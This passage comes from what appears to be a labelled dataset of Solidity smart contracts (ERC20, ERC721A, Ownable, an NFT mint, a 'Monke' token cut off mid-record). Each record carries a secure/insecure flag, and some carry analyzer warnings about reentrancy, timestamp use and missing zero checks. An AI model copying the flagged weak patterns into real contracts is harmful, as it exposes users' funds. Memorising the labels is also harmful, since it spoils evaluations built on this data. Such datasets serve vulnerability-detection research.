onlyCFO returns (uint256) {\n require(_checkIsEventExist(eventId), \"event did not exist\");\n return events[eventId].amount;\n }\n\n function totalBalance() public view returns (uint256) {\n return address(this).balance;\n }\n\n function getEventInfo(\n uint256 eventId\n )\n public\n view\n returns (\n uint256,\n string memory,\n string memory,\n bool,\n uint256,\n uint256,\n uint256\n )\n {\n require(_checkIsEventExist(eventId), \"event did not exist\");\n return (\n events[eventId].price,\n events[eventId].name,\n events[eventId].event_type,\n events[eventId].start,\n events[eventId].total_supply,\n events[eventId].supplied,\n events[eventId].per_limit\n );\n }\n\n function getEventBuyCountOfAddress(\n uint256 eventId,\n address addr\n ) public view returns (uint256) {\n require(_checkIsEventExist(eventId), \"event did not exist\");\n\n return events[eventId].buy_his_count[addr];\n }\n\n function getIsAddressOutOfEventBuyLimit(\n uint256 eventId,\n address addr\n ) public view returns (bool) {\n require(_checkIsEventExist(eventId), \"event did not exist\");\n if (events[eventId].per_limit == 0) {\n return true;\n }\n\n if (events[eventId].buy_his_count[addr] < events[eventId].per_limit) {\n return true;\n }\n\n return false;\n }\n\n function getAllEventIds() public view returns (uint256[] memory) {\n return eventIds;\n }\n\n function _checkIsEventExist(uint256 eventId) internal view returns (bool) {\n return eventIdMap[eventId];\n }\n\n function _checkIsEventDuring(uint256 eventId) internal view returns (bool) {\n return events[eventId].start;\n }\n\n function _checkIsEnoughSupply(\n uint256 eventId,\n uint256 num\n ) internal view returns (bool) {\n if (num > 100) {\n return false;\n }\n return\n (events[eventId].total_supply == 0) ||\n (events[eventId].total_supply >= events[eventId].supplied.add(num));\n }\n\n function _checkIsUnderPerLimit(\n uint256 eventId,\n uint256 num\n ) internal view returns (bool) {\n if (num > 100) {\n return false;\n }\n return\n (events[eventId].per_limit == 0) ||\n (events[eventId].per_limit >=\n events[eventId].buy_his_count[_msgSender()].add(num));\n }\n}", "file_name": "solidity_code_2199.sol", "secure": 1, "size_bytes": 9146 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_22.sol", "secure": 1, "size_bytes": 1074 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ContextUpgradeable.sol\" as ContextUpgradeable;\nimport \"./IERC20Upgradeable.sol\" as IERC20Upgradeable;\nimport \"./IERC20MetadataUpgradeable.sol\" as IERC20MetadataUpgradeable;\n\ncontract ERC20Upgradeable is\n Initializable,\n ContextUpgradeable,\n IERC20Upgradeable,\n IERC20MetadataUpgradeable\n{\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n function __ERC20_init(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n __ERC20_init_unchained(name_, symbol_);\n }\n\n function __ERC20_init_unchained(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n uint256[45] private __gap;\n}", "file_name": "solidity_code_220.sol", "secure": 1, "size_bytes": 6395 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC721A {\n error ApprovalCallerNotOwnerNorApproved();\n\n error ApprovalQueryForNonexistentToken();\n\n error ApproveToCaller();\n\n error ApprovalToCurrentOwner();\n\n error BalanceQueryForZeroAddress();\n\n error MintToZeroAddress();\n\n error MintZeroQuantity();\n\n error OwnerQueryForNonexistentToken();\n\n error TransferCallerNotOwnerNorApproved();\n\n error TransferFromIncorrectOwner();\n\n error TransferToNonERC721ReceiverImplementer();\n\n error TransferToZeroAddress();\n\n error URIQueryForNonexistentToken();\n\n struct TokenOwnership {\n address addr;\n uint64 startTimestamp;\n bool burned;\n }\n\n function totalSupply() external view returns (uint256);\n\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function setApprovalForAll(address operator, bool _approved) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}", "file_name": "solidity_code_2200.sol", "secure": 1, "size_bytes": 2369 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721A.sol\" as IERC721A;\nimport \"./ERC721A__IERC721Receiver.sol\" as ERC721A__IERC721Receiver;\n\ncontract ERC721A is IERC721A {\n uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n uint256 private constant BITPOS_NUMBER_MINTED = 64;\n\n uint256 private constant BITPOS_NUMBER_BURNED = 128;\n\n uint256 private constant BITPOS_AUX = 192;\n\n uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n uint256 private constant BITPOS_START_TIMESTAMP = 160;\n\n uint256 private constant BITMASK_BURNED = 1 << 224;\n\n uint256 private constant BITPOS_NEXT_INITIALIZED = 225;\n\n uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n uint256 private _currentIndex;\n\n uint256 private _burnCounter;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => uint256) private _packedOwnerships;\n\n mapping(address => uint256) private _packedAddressData;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _currentIndex = _startTokenId();\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n function _nextTokenId() internal view returns (uint256) {\n return _currentIndex;\n }\n\n function totalSupply() public view override returns (uint256) {\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n function _totalMinted() internal view returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function _totalBurned() internal view returns (uint256) {\n return _burnCounter;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n function balanceOf(address owner) public view override returns (uint256) {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> BITPOS_NUMBER_MINTED) &\n BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _numberBurned(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> BITPOS_NUMBER_BURNED) &\n BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> BITPOS_AUX);\n }\n\n function _setAux(address owner, uint64 aux) internal {\n uint256 packed = _packedAddressData[owner];\n uint256 auxCasted;\n assembly {\n auxCasted := aux\n }\n packed = (packed & BITMASK_AUX_COMPLEMENT) | (auxCasted << BITPOS_AUX);\n _packedAddressData[owner] = packed;\n }\n\n function _packedOwnershipOf(\n uint256 tokenId\n ) private view returns (uint256) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n\n if (packed & BITMASK_BURNED == 0) {\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: f6c9b31): ERC721A._unpackedOwnership(uint256) uses timestamp for comparisons Dangerous comparisons ownership.burned = packed & BITMASK_BURNED != 0\n\t// Recommendation for f6c9b31: Avoid relying on 'block.timestamp'.\n function _unpackedOwnership(\n uint256 packed\n ) private pure returns (TokenOwnership memory ownership) {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> BITPOS_START_TIMESTAMP);\n\t\t// timestamp | ID: f6c9b31\n ownership.burned = packed & BITMASK_BURNED != 0;\n }\n\n function _ownershipAt(\n uint256 index\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 77d601d): ERC721A._initializeOwnershipAt(uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[index] == 0\n\t// Recommendation for 77d601d: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 213e03d): ERC721A._initializeOwnershipAt(uint256) uses a dangerous strict equality _packedOwnerships[index] == 0\n\t// Recommendation for 213e03d: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _initializeOwnershipAt(uint256 index) internal {\n\t\t// timestamp | ID: 77d601d\n\t\t// incorrect-equality | ID: 213e03d\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, _toString(tokenId)))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function _addressToUint256(\n address value\n ) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n function _boolToUint256(bool value) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n function approve(address to, uint256 tokenId) public override {\n address owner = address(uint160(_packedOwnershipOf(tokenId)));\n if (to == owner) revert ApprovalToCurrentOwner();\n\n if (_msgSenderERC721A() != owner)\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _tokenApprovals[tokenId] = to;\n emit Approval(owner, to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n if (operator == _msgSenderERC721A()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n _transfer(from, to, tokenId);\n if (to.code.length != 0)\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < _currentIndex &&\n _packedOwnerships[tokenId] & BITMASK_BURNED == 0;\n }\n\n function _safeMint(address to, uint256 quantity) internal {\n _safeMint(to, quantity, \"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c633f20): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c633f20: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 2ead702): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 2ead702: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n (_boolToUint256(quantity == 1) << BITPOS_NEXT_INITIALIZED);\n\n uint256 updatedIndex = startTokenId;\n uint256 end = updatedIndex + quantity;\n\n if (to.code.length != 0) {\n do {\n\t\t\t\t\t// reentrancy-events | ID: c633f20\n emit Transfer(address(0), to, updatedIndex);\n if (\n\t\t\t\t\t\t// reentrancy-events | ID: c633f20\n\t\t\t\t\t\t// reentrancy-no-eth | ID: 2ead702\n !_checkContractOnERC721Received(\n address(0),\n to,\n updatedIndex++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (updatedIndex < end);\n\n if (_currentIndex != startTokenId) revert();\n } else {\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n }\n\t\t\t// reentrancy-no-eth | ID: 2ead702\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _mint(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n (_boolToUint256(quantity == 1) << BITPOS_NEXT_INITIALIZED);\n\n uint256 updatedIndex = startTokenId;\n uint256 end = updatedIndex + quantity;\n\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a1af2c5): ERC721A._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for a1af2c5: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: cae7861): ERC721A._transfer(address,address,uint256) uses a dangerous strict equality _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for cae7861: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(address from, address to, uint256 tokenId) private {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n bool isApprovedOrOwner = (_msgSenderERC721A() == from ||\n isApprovedForAll(from, _msgSenderERC721A()) ||\n getApproved(tokenId) == _msgSenderERC721A());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n delete _tokenApprovals[tokenId];\n\n unchecked {\n --_packedAddressData[from];\n ++_packedAddressData[to];\n\n _packedOwnerships[tokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n BITMASK_NEXT_INITIALIZED;\n\n if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n\t\t\t\t// timestamp | ID: a1af2c5\n\t\t\t\t// incorrect-equality | ID: cae7861\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 068d805): ERC721A._burn(uint256,bool) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for 068d805: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 70eaa1b): ERC721A._burn(uint256,bool) uses a dangerous strict equality _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for 70eaa1b: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n address from = address(uint160(prevOwnershipPacked));\n\n if (approvalCheck) {\n bool isApprovedOrOwner = (_msgSenderERC721A() == from ||\n isApprovedForAll(from, _msgSenderERC721A()) ||\n getApproved(tokenId) == _msgSenderERC721A());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n delete _tokenApprovals[tokenId];\n\n unchecked {\n _packedAddressData[from] += (1 << BITPOS_NUMBER_BURNED) - 1;\n\n _packedOwnerships[tokenId] =\n _addressToUint256(from) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n BITMASK_BURNED |\n BITMASK_NEXT_INITIALIZED;\n\n if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n\t\t\t\t// timestamp | ID: 068d805\n\t\t\t\t// incorrect-equality | ID: 70eaa1b\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n unchecked {\n _burnCounter++;\n }\n }\n\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n\t\t// reentrancy-events | ID: c633f20\n\t\t// reentrancy-no-eth | ID: 2ead702\n try\n ERC721A__IERC721Receiver(to).onERC721Received(\n _msgSenderERC721A(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return\n retval ==\n ERC721A__IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _toString(\n uint256 value\n ) internal pure returns (string memory ptr) {\n assembly {\n ptr := add(mload(0x40), 128)\n\n mstore(0x40, ptr)\n\n let end := ptr\n\n for {\n let temp := value\n\n ptr := sub(ptr, 1)\n\n mstore8(ptr, add(48, mod(temp, 10)))\n temp := div(temp, 10)\n } temp {\n temp := div(temp, 10)\n } {\n ptr := sub(ptr, 1)\n mstore8(ptr, add(48, mod(temp, 10)))\n }\n\n let length := sub(end, ptr)\n\n ptr := sub(ptr, 32)\n\n mstore(ptr, length)\n }\n }\n}", "file_name": "solidity_code_2201.sol", "secure": 0, "size_bytes": 19645 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NFT is ERC721A, Ownable {\n uint32 public maxSupply = 20000;\n uint64 public publicPrice = 0.055 ether;\n\n bool public isSaleOpen;\n string private notRevealedURI_;\n string private baseURI_;\n string private baseExtension_ = \".json\";\n\n constructor(\n string memory _baseURI_\n ) ERC721A(\"Aladdin's Magic Genies\", \"AMG\") {\n baseURI_ = _baseURI_;\n _safeMint(msg.sender, 1);\n }\n\n function mint(uint256 quantity) external payable {\n require(isSaleOpen, \"sale is not started yet\");\n require(tx.origin == msg.sender, \"can not be called by a contract\");\n require(\n totalSupply() + quantity <= maxSupply,\n \"amount exceeds max supply\"\n );\n require(msg.value >= quantity * publicPrice, \"unsufficient payment\");\n\n _safeMint(msg.sender, quantity);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = baseURI_;\n return\n bytes(baseURI).length != 0\n ? string(\n abi.encodePacked(\n baseURI,\n _toString(tokenId),\n baseExtension_\n )\n )\n : notRevealedURI_;\n }\n\n function _startTokenId() internal pure override returns (uint256) {\n return 1;\n }\n\n function withdraw(uint256 _amount) external onlyOwner {\n payable(msg.sender).transfer(_amount);\n }\n\n function setBaseURI(string memory _newURI) external onlyOwner {\n baseURI_ = _newURI;\n }\n\n function setNotRevealedURI(string memory _newURI) external onlyOwner {\n notRevealedURI_ = _newURI;\n }\n\n function setBaseExtension(string memory _newExtension) external onlyOwner {\n baseExtension_ = _newExtension;\n }\n\n function toggleSaleOpen() external onlyOwner {\n isSaleOpen = !isSaleOpen;\n }\n\n function setMaxSupply(uint32 _newSupply) external onlyOwner {\n maxSupply = _newSupply;\n }\n\n function setPublicPrice(uint64 _newPrice) external onlyOwner {\n publicPrice = _newPrice;\n }\n\n function ownerMint(address _to, uint256 _amount) external onlyOwner {\n _safeMint(_to, _amount);\n }\n}", "file_name": "solidity_code_2202.sol", "secure": 1, "size_bytes": 2610 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}", "file_name": "solidity_code_2203.sol", "secure": 1, "size_bytes": 726 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}", "file_name": "solidity_code_2204.sol", "secure": 1, "size_bytes": 1142 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Monke is Ownable {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n mapping(address => bool) public hulkinfo;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3d7573a): Monke.constructor(string,string,address).hkadmin lacks a zerocheck on \t xxxaAdmin = hkadmin\n\t// Recommendation for 3d7573a: Check that the address is not zero.\n constructor(\n string memory tokenname,\n string memory tokensymbol,\n address hkadmin\n ) {\n emit Transfer(address(0), msg.sender, 10000000000 * 10 ** decimals());\n _totalSupply = 10000000000 * 10 ** decimals();\n _balances[msg.sender] = 10000000000 * 10 ** decimals();\n _tokename = tokenname;\n _tokensymbol = tokensymbol;\n\t\t// missing-zero-check | ID: 3d7573a\n xxxaAdmin = hkadmin;\n }\n\t// WARNING Optimization Issue (immutable-states | ID: 